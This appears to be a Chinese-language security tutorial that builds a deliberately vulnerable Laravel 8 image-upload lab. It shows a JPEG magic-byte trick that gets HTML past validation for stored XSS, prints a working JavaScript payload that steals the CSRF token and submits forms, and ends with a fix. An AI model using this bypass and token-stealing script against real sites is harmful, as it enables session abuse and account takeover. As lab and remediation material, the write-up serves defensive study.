目录导航
在这篇文章中,我们将绕过laravel图像上传,这是用 php 编写的最流行的 Web 应用程序框架之一。
通过绕过 laravel 的图像验证,我们可以实现其他攻击, 第一个也是最受欢迎的是 XSS,因为它是一个存储的 xss,我们可以编写一个完整的漏洞利用程序,让我们绕过 CSRF,然后我们可以自由地以更高的权限做任何我们想做的事,我在这篇文章中给你,我也研究了对这次攻击的补救措施.
为了更好地解释,我们将一起建立我们的实验室。
让我们开始吧
首先我们应该创建新的 Laravel 项目:
composer create-project --prefer-dist laravel/laravel blog
接下来我们应该在routes/web.php 中创建路由:
<?php
use Illuminate\Support\Facades\Route;
use App\Http\Controllers\ImageUploadController;
Route::get('image-upload', [ ImageUploadController::class, 'imageUpload' ])->name('image.upload');
Route::post('image-upload', [ ImageUploadController::class, 'imageUploadPost' ])->name('image.upload.post');
在下一步中,我们应该创建一个控制器,控制器旨在将关联的请求处理逻辑分组到一个类中。
app/Http/Controllers/ImageUploadController.php
<?php
namespace App\Http\Controllers;
use Illuminate\Http\Request;
class ImageUploadController extends Controller
{
/**
* Display a listing of the resource.
*
* @return \Illuminate\Http\Response
*/
public function imageUpload()
{
return view('imageUpload');
}
/**
* Display a listing of the resource.
*
* @return \Illuminate\Http\Response
*/
public function imageUploadPost(Request $request)
{
$request->validate([
'image' => 'required|image|mimes:jpeg,png,jpg,gif,svg|max:2048',
]);
$imageName = time().'.'.$request->image->getClientOriginalExtension();
$request->image->move(public_path('images'), $imageName);
/* Store $imageName name in DATABASE from HERE */
return back()
->with('success','You have successfully upload image.')
->with('image',$imageName);
}
}
最后一步中,我们需要为前端用户创建一个 imageUpload.blade.php 文件:
resources/views/imageUpload.blade.php
<!DOCTYPE html>
<html>
<head>
<title>laravel 8 image upload vulnerability - Hosein Vita</title>
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/css/bootstrap.min.css">
</head>
<body>
<div class="container">
<div class="panel panel-primary">
<div class="panel-heading"><h2>laravel 8 image upload vulnerability - Hosein Vita</h2></div>
<div class="panel-body">
@if ($message = Session::get('success'))
<div class="alert alert-success alert-block">
<button type="button" class="close" data-dismiss="alert">×</button>
<strong>{{ $message }}</strong>
</div>
<img src="images/{{ Session::get('image') }}">
@endif
@if (count($errors) > 0)
<div class="alert alert-danger">
<strong>Whoops!</strong> There were some problems with your input.
<ul>
@foreach ($errors->all() as $error)
<li>{{ $error }}</li>
@endforeach
</ul>
</div>
@endif
<form action="{{ route('image.upload.post') }}" method="POST" enctype="multipart/form-data">
@csrf
<div class="row">
<div class="col-md-6">
<input type="file" name="image" class="form-control">
</div>
<div class="col-md-6">
<button type="submit" class="btn btn-success">Upload</button>
</div>
</div>
</form>
</div>
</div>
</div>
</body>
</html>
好的,现在我们完成了,我们可以简单地通过输入来启动它
“ php artisan serve”并查看此页面:

好的,现在我们可以开始在我们自己的实验室中进行测试,请注意,在我们的Controller文件中,我们指定只允许包含 jpeg,png,jpg,gif,svg mime 的文件,因此我们首先更改 mime 类型并添加第二个扩展名:

服务器响应:

从字面上看,我们不希望 Laravel 这么容易被绕过,但是在测试这种方法的过程中,我注意到了一些东西,
我把一张正版图片的扩展名改成.html上传成功了!

服务器响应:

所以这背后的逻辑告诉我们,Web 应用程序关心我们文件的内容!因此,我们需要做一些应用程序认为我们的文件是图像但实际上并非如此的事情,为此我建议您使用HxD。
现在用 HxD 打开 html 文件,并在文件的最开始添加这些字符FF D8 FF E0:

现在我们上传这个文件并测试它:

升级漏洞:
由于我们获得了 xss ,我们需要一个漏洞来绕过 CSRF 令牌,
我们需要做的就是将 AJAX 请求发送到在 html 正文页面中包含 CSRF 令牌的网页,提取令牌,并使用它来提交我们想要的任何表单:
ÿØÿà<html>
<head>
<title>Laravel Csrf Bypass</title>
</head>
<body>
<script>
function submitFormWithTokenJS(token) {
var xhr = new XMLHttpRequest();
xhr.open("POST", POST_URL, true);
// Send the proper header information along with the request
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
// This is for debugging and can be removed
xhr.onreadystatechange = function() {
if(xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
console.log(xhr.responseText);
}
}
//
xhr.send("_token=" + token + "&desiredParameter=desiredValue");
}
function getTokenJS() {
var xhr = new XMLHttpRequest();
// This tels it to return it as a HTML document
xhr.responseType = "document";
// true on the end of here makes the call asynchronous
//Edit the path as you want
xhr.open("GET", "/image-upload", true);
xhr.onload = function (e) {
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
// Get the document from the response
page = xhr.response
// Get the input element
input = page.getElementsByTagName("input")[0];
// Show the token
alert("The token is: " + input.value);
// Use the token to submit the form
submitFormWithTokenJS(input.value);
}
};
// Make the request
xhr.send(null);
}
getTokenJS();
var POST_URL="/"
getTokenJS();
</script>
</html>
请记住根据需要更改值,例如POST_URL应该在哪里,以及您想要的 post 参数。

修复
通过测试许多不同的 Web 应用程序,我发现很多应用程序都使用此逻辑来处理文件上传,这段代码非常重要:

如果我们改变:
$imageName = time().’.’.$request->image->getClientOriginalExtension();
到:
$imageName = time().’.’.$request->image->extension();
Laravel 将保存所有上传的文件,扩展名为 .jpg,现在我们再次测试我们的文件:

现在我们可以确保这个不会在受害者浏览器中呈现。
到此结束,感谢您阅读我的文章,希望您有所收获!❤
转载请注明出处及链接